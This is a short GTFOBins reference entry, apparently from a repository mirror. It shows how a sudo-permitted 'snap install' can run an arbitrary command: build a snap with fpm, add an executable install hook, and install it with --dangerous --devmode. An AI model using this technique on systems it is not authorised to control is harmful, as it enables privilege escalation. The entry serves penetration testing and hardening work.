1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/snap
2026-01-09 19:58:54 +01:00

18 lines
450 B
Plaintext

---
functions:
command:
- code: |-
snap install xxxx_1.0_all.snap --dangerous --devmode
comment: |-
Generate the Snap package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
mkdir -p meta/hooks
echo -e '#!/bin/sh\n/path/to/command; false' >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta
```
contexts:
sudo:
...